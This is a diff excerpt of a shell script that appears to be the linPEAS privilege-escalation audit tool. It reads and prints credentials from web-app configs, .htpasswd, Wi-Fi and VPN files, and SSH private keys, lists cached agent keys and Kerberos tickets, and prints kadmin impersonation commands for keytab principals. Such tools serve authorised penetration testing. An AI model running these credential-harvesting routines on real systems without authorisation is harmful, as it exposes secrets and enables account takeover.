+ if ! [ "`echo \"$PSTORAGE_TOMCAT\" | grep -E \"tomcat-users\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "tomcat-users.xml"; fi; fi; printf "%s" "$PSTORAGE_TOMCAT" | grep -E "tomcat-users\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,tomcat-users\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username=|password=" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_FASTCGI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing FastCGI Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_FASTCGI\" | grep -E \"fastcgi_params$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "fastcgi_params"; fi; fi; printf "%s" "$PSTORAGE_FASTCGI" | grep -E "fastcgi_params$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,fastcgi_params$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "DB_NAME|DB_USER|DB_PASS" | sed -${E} "s,DB_NAME|DB_USER|DB_PASS,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_HTTP_CONF" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Http conf Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_HTTP_CONF\" | grep -E \"httpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "httpd.conf"; fi; fi; printf "%s" "$PSTORAGE_HTTP_CONF" | grep -E "httpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,httpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "htaccess.*|htpasswd.*" | grep -Ev "\W+\#|^#" | sed -${E} "s,htaccess.*|htpasswd.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_HTPASSWD" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Htpasswd Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_HTPASSWD\" | grep -E \"\.htpasswd$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".htpasswd"; fi; fi; printf "%s" "$PSTORAGE_HTPASSWD" | grep -E "\.htpasswd$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.htpasswd$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_PHP_SESSIONS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing PHP Sessions Files (limit 70)"
+ ls /var/lib/php/sessions 2>/dev/null || echo_not_found /var/lib/php/sessions
+ if ! [ "`echo \"$PSTORAGE_PHP_SESSIONS\" | grep -E \"sess_.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sess_*"; fi; fi; printf "%s" "$PSTORAGE_PHP_SESSIONS" | grep -E "sess_.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sess_.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_WORDPRESS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Wordpress Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_WORDPRESS\" | grep -E \"wp-config\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wp-config.php"; fi; fi; printf "%s" "$PSTORAGE_WORDPRESS" | grep -E "wp-config\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wp-config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "PASSWORD|USER|NAME|HOST" | sed -${E} "s,PASSWORD|USER|NAME|HOST,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_DRUPAL" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Drupal Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_DRUPAL\" | grep -E \"settings\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "settings.php"; fi; fi; printf "%s" "$PSTORAGE_DRUPAL" | grep -E "settings\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,settings\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix'" | sed -${E} "s,drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix',${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_MOODLE" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Moodle Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_MOODLE\" | grep -E \"config\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "config.php"; fi; fi; printf "%s" "$PSTORAGE_MOODLE" | grep -E "config\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "dbtype|dbhost|dbuser|dbhost|dbpass|dbport" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SUPERVISORD" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Supervisord Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SUPERVISORD\" | grep -E \"supervisord\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "supervisord.conf"; fi; fi; printf "%s" "$PSTORAGE_SUPERVISORD" | grep -E "supervisord\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,supervisord\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "port.*=|username.*=|password.*=" | sed -${E} "s,port.*=|username.*=|password.*=,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CESI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Cesi Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CESI\" | grep -E \"cesi\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cesi.conf"; fi; fi; printf "%s" "$PSTORAGE_CESI" | grep -E "cesi\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,cesi\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username.*=|password.*=|host.*=|port.*=|database.*=" | sed -${E} "s,username.*=|password.*=|host.*=|port.*=|database.*=,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_RSYNC" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Rsync Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rsyncd.conf"; fi; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rsyncd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,secrets.*|auth.*users.*=,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.secrets$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rsyncd.secrets"; fi; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.secrets$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rsyncd\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_HOSTAPD" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Hostapd Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_HOSTAPD\" | grep -E \"hostapd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hostapd.conf"; fi; fi; printf "%s" "$PSTORAGE_HOSTAPD" | grep -E "hostapd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,hostapd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,passphrase.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_WIFI_CONNECTIONS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Wifi Connections Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_WIFI_CONNECTIONS\" | grep -E \"system-connections$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system-connections"; fi; fi; printf "%s" "$PSTORAGE_WIFI_CONNECTIONS" | grep -E "system-connections$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,system-connections$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "psk.*" | sed -${E} "s,psk.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ANACONDA_KS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Anaconda ks Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ANACONDA_KS\" | grep -E \"anaconda-ks\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "anaconda-ks.cfg"; fi; fi; printf "%s" "$PSTORAGE_ANACONDA_KS" | grep -E "anaconda-ks\.cfg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,anaconda-ks\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rootpw.*" | sed -${E} "s,rootpw.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_VNC" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing VNC Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"\.vnc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".vnc"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "\.vnc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vnc$,${SED_RED},"; find "$f" -name "passwd" | while read ff; do ls -ld "$ff" | sed -${E} "s,passwd,${SED_RED},"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.c.*nf.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.c*nf*"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.c.*nf.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.c.*nf.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.ini"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.txt"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.xml"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_OPENVPN" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing OpenVPN Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_OPENVPN\" | grep -E \"\.ovpn$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ovpn"; fi; fi; printf "%s" "$PSTORAGE_OPENVPN" | grep -E "\.ovpn$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ovpn$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "auth-user-pass.+" | sed -${E} "s,auth-user-pass.+,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_LDAP" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Ldap Files (limit 70)"
+ echo "The password hash is from the {SSHA} to 'structural'"
+ if ! [ "`echo \"$PSTORAGE_LDAP\" | grep -E \"ldap$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ldap"; fi; fi; printf "%s" "$PSTORAGE_LDAP" | grep -E "ldap$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ldap$,${SED_RED},"; find "$f" -name "*.bdb" | while read ff; do ls -ld "$ff" | sed -${E} "s,.bdb,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E -i -a -o "description.*" | sort | uniq | sed -${E} "s,administrator|password|ADMINISTRATOR|PASSWORD|Password|Administrator,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_LOG4SHELL" ] || [ "$DEBUG" ]; then
+ print_2title "Searching Log4Shell vulnerable libraries"
+ printf "%s\n" "$PSTORAGE_LOG4SHELL" | while read f; do
+ echo "$f" | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" | sed -${E} "s,log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6]),${SED_RED},";
+ done
+ echo ""
+fi
+
+#-- SI) ssh files
+print_2title "Searching ssl/ssh files"
+if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)"
+ hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
+ hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
+ writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
+else
+ sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)"
+ hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)"
+ hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)"
+ writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
+fi
+
+if [ "$PSTORAGE_SSH" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing SSH Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_dsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_dsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_dsa.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,id_dsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_rsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_rsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_rsa.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,id_rsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"known_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "known_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "known_hosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,known_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_hosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,authorized_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_keys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_keys"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_keys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,authorized_keys$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,command=.*,${SED_RED},g" | sed -${E} "s,from=[\w\._\-]+,${SED_GOOD},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"\.pub$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.pub"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "\.pub$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.pub$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "command=.*" | sed -${E} "s,command=.*,${SED_RED},g"; done; echo "";
+fi
+
+
+grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ if [ "$TIMEOUT" ]; then
+ privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)
+ privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null)
+ privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null)
+ privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null)
+ else
+ privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) # If there is tons of files linpeas gets frozen here without a timeout
+ privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null)
+ fi
+else
+ # If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware
+ privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null)
+fi
+
+if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then
+ echo ""
+ print_3title "Possible private SSH keys were found!" | sed -${E} "s,private SSH keys,${SED_RED},"
+ if [ "$privatekeyfilesetc" ]; then printf "$privatekeyfilesetc\n" | sed -${E} "s,.*,${SED_RED},"; fi
+ if [ "$privatekeyfileshome" ]; then printf "$privatekeyfileshome\n" | sed -${E} "s,.*,${SED_RED},"; fi
+ if [ "$privatekeyfilesroot" ]; then printf "$privatekeyfilesroot\n" | sed -${E} "s,.*,${SED_RED},"; fi
+ if [ "$privatekeyfilesmnt" ]; then printf "$privatekeyfilesmnt\n" | sed -${E} "s,.*,${SED_RED},"; fi
+ echo ""
+fi
+if [ "$certsb4_grep" ] || [ "$PSTORAGE_CERTSBIN" ]; then
+ print_3title "Some certificates were found (out limited):"
+ printf "$certsb4_grep\n" | head -n 20
+ printf "$$PSTORAGE_CERTSBIN\n" | head -n 20
+ echo ""
+fi
+if [ "$PSTORAGE_CERTSCLIENT" ]; then
+ print_3title "Some client certificates were found:"
+ printf "$PSTORAGE_CERTSCLIENT\n"
+ echo ""
+fi
+if [ "$PSTORAGE_SSH_AGENTS" ]; then
+ print_3title "Some SSH Agent files were found:"
+ printf "$PSTORAGE_SSH_AGENTS\n"
+ echo ""
+fi
+if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then
+ print_3title "Listing SSH Agents"
+ ssh-add -l
+ echo ""
+fi
+if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then
+ print_3title "Listing gpg keys cached in gpg-agent"
+ gpg-connect-agent "keyinfo --list" /bye
+ echo ""
+fi
+if [ "$writable_agents" ]; then
+ print_3title "Writable ssh and gpg agents"
+ printf "%s\n" "$writable_agents"
+fi
+if [ "$PSTORAGE_SSH_CONFIG" ]; then
+ print_3title "Some home ssh config file was found"
+ printf "%s\n" "$PSTORAGE_SSH_CONFIG" | while read f; do ls "$f" | sed -${E} "s,$f,${SED_RED},"; cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,User|ProxyCommand,${SED_RED},"; done
+ echo ""
+fi
+if [ "$hostsdenied" ]; then
+ print_3title "/etc/hosts.denied file found, read the rules:"
+ printf "$hostsdenied\n"
+ cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
+ echo ""
+fi
+if [ "$hostsallow" ]; then
+ print_3title "/etc/hosts.allow file found, trying to read the rules:"
+ printf "$hostsallow\n"
+ cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
+ echo ""
+fi
+if [ "$sshconfig" ]; then
+ echo ""
+ echo "Searching inside /etc/ssh/ssh_config for interesting info"
+ grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
+fi
+echo ""
+
+if [ "$PSTORAGE_PAM_AUTH" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing PAM Auth Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_PAM_AUTH\" | grep -E \"pam\.d$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pam.d"; fi; fi; printf "%s" "$PSTORAGE_PAM_AUTH" | grep -E "pam\.d$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pam\.d$,${SED_RED},"; find "$f" -name "sshd" | while read ff; do ls -ld "$ff" | sed -${E} "s,sshd,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#|^@" | sed -${E} "s,auth|accessfile=|secret=|user,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+#-- SI) Passwords inside pam.d
+pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#")
+if [ "$pamdpass" ] || [ "$DEBUG" ]; then
+ print_2title "Passwords inside pam.d"
+ grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
+ echo ""
+fi
+
+if [ "$PSTORAGE_NFS_EXPORTS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing NFS Exports Files (limit 70)"
+ nfsmounts=`cat /proc/mounts 2>/dev/null | grep nfs`; if [ "$nfsmounts" ]; then echo -e "Connected NFS Mounts: \n$nfsmounts"; fi
+ if ! [ "`echo \"$PSTORAGE_NFS_EXPORTS\" | grep -E \"exports$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "exports"; fi; fi; printf "%s" "$PSTORAGE_NFS_EXPORTS" | grep -E "exports$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,exports$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,insecure|rw|nohide,${SED_RED},g" | sed -${E} "s,no_root_squash|no_all_squash,${SED_RED_YELLOW},g"; done; echo "";
+fi
+
+
+#-- SI) Kerberos
+kadmin_exists="$(command -v kadmin)"
+klist_exists="$(command -v klist)"
+kinit_exists="$(command -v kinit)"
+if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
+ print_2title "Searching kerberos conf files and tickets"
+ print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory"
+
+ if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
+ if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi
+ if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
+ ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
+ if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g";
+ else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g";
+ fi
+
+ (env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g"
+
+ printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do
+ if [ -r "$f" ]; then
+ if echo "$f" | grep -q .k5login; then
+ echo ".k5login file (users with access to the user who has this file in his home)"
+ cat "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g"
+ elif echo "$f" | grep -q keytab; then
+ echo ""
+ echo "keytab file found, you may be able to impersonate some kerberos principals and add users or modify passwords"
+ klist -k "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g"
+ printf "$(klist -k $f 2>/dev/null)\n" | awk '{print $2}' | while read l; do
+ if [ "$l" ] && echo "$l" | grep -q "@"; then
+ printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${SED_RED},g"
+ # kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid
+ # We could also try to create a new user or modify a password, but I'm not user if linpeas should do that
+ fi
+ done
+ elif echo "$f" | grep -q krb5.conf; then
+ ls -l "$f"
+ cat "$f" 2>/dev/null | sed -${E} "s,default_ccache_name,${SED_RED},";
+ elif echo "$f" | grep -q kadm5.acl; then
+ ls -l "$f"
+ cat "$f" 2>/dev/null
+ elif echo "$f" | grep -q sssd.conf; then
+ ls -l "$f"
+ cat "$f" 2>/dev/null | sed -${E} "s,cache_credentials ?= ?[tT][rR][uU][eE],${SED_RED},";
+ elif echo "$f" | grep -q secrets.ldb; then
+ echo "You could use SSSDKCMExtractor to extract the tickets stored here" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},";
+ ls -l "$f"
+ elif echo "$f" | grep -q .secrets.mkey; then
+ echo "This is the secrets file to use with SSSDKCMExtractor" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},";
+ ls -l "$f"
+ fi
+ fi
+ done
+ ls -l "/tmp/krb5cc*" "/var/lib/sss/db/ccache_*" "/etc/opt/quest/vas/host.keytab" 2>/dev/null || echo_not_found "tickets kerberos"
+ klist 2>/dev/null || echo_not_found "klist"
+ echo ""
+
+fi
+
+if [ "$PSTORAGE_FREEIPA" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing FreeIPA Files (limit 70)"
+ ipa_exists="$(command -v ipa)"; if [ "$ipa_exists" ]; then print_info "https://book.hacktricks.xyz/linux-hardening/freeipa-pentesting"; fi
